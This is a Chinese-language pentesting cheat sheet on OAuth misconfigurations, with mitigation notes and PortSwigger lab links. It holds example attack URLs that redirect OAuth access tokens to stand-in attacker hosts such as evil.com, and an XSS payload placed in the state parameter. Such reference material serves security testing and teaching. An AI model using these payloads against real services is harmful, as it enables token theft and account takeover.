OAuth 错误配置 (OAuth Misconfiguration)
OAuth 是一种广泛使用的授权框架,允许第三方应用程序在不暴露用户凭据的情况下访问用户数据。然而,OAuth 的配置和实现不当可能会导致严重的安全性漏洞。本文档探讨了常见的 OAuth 错误配置、潜在的攻击途径以及缓解这些风险的最佳做法。
摘要 (Summary)
- 通过 referer 窃取 OAuth 令牌 (#stealing-oauth-token-via-referer)
- 通过 redirect_uri 攫取 OAuth 令牌 (#grabbing-oauth-token-via-redirect_uri)
- 通过 redirect_uri 执行 XSS (#executing-xss-via-redirect_uri)
- OAuth 私钥披露 (#oauth-private-key-disclosure)
- 授权码规则违反 (#authorization-code-rule-violation)
- 跨站请求伪造 (CSRF) (#cross-site-request-forgery)
- 实验环境 (#labs)
- 参考资料 (#references)
通过 referer 窃取 OAuth 令牌 (Stealing OAuth Token via referer)
你是否拥有 HTML 注入权限但无法实现 XSS?该站点是否有 OAuth 实现?如果有,请在你的服务器上设置一个 img 标签,并查看登录后是否有办法让受害者访问该页面(通过重定向等方式),从而通过 referer 窃取 OAuth 令牌 - @abugzlife1
通过 redirect_uri 攫取 OAuth 令牌 (Grabbing OAuth Token via redirect_uri)
重定向到攻击者控制的域名以获取访问令牌 (Access Token)
https://www.example.com/signin/authorize?[...]&redirect_uri=https://demo.example.com/loginsuccessful
https://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost.evil.com
重定向到已接受的开放 URL 以获取访问令牌
https://www.example.com/oauth20_authorize.srf?[...]&redirect_uri=https://accounts.google.com/BackToAuthSubTarget?next=https://evil.com
https://www.example.com/oauth2/authorize?[...]&redirect_uri=https%3A%2F%2Fapps.facebook.com%2Fattacker%2F
OAuth 实现绝不应将整个域名加入白名单,而应仅包含少数几个 URL,这样 "redirect_uri" 就无法指向开放重定向 (Open Redirect)。
有时你需要将 scope (范围) 更改为无效值,以绕过对 redirect_uri 的过滤器:
通过 redirect_uri 执行 XSS (Executing XSS via redirect_uri)
https://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('XSS')</script>
OAuth 私钥披露 (OAuth Private Key Disclosure)
某些 Android/iOS 应用程序可以被反编译,从而可以访问其中的 OAuth 私钥。
授权码规则违反 (Authorization Code Rule Violation)
客户端不得多次使用授权码 (Authorization Code)。
如果授权码被多次使用,授权服务器必须拒绝该请求,并且应当(在可能的情况下)撤销所有先前基于该授权码发行的令牌。
跨站请求伪造 (Cross-Site Request Forgery)
如果应用程序在 OAuth 回调中不检查有效的 CSRF 令牌,则它是易受攻击的。可以通过初始化 OAuth 流程并拦截回调 (https://example.com/callback?code=AUTHORIZATION_CODE) 来利用此漏洞。此 URL 可用于 CSRF 攻击。
客户端必须为其重定向 URI 实现 CSRF 保护。这通常通过要求发送到重定向 URI 端点的任何请求都包含一个将请求与用户代理的身份验证状态绑定的值来实现。客户端在发出授权请求时,应当利用 "state" 请求参数将此值传递给授权服务器。
实验环境 (Labs)
- PortSwigger - 通过 OAuth 隐式流实现身份验证绕过
- PortSwigger - 强制 OAuth 个人资料绑定
- PortSwigger - 通过 redirect_uri 实现 OAuth 账户劫持
- PortSwigger - 通过代理页面窃取 OAuth 访问令牌
- PortSwigger - 通过开放重定向窃取 OAuth 访问令牌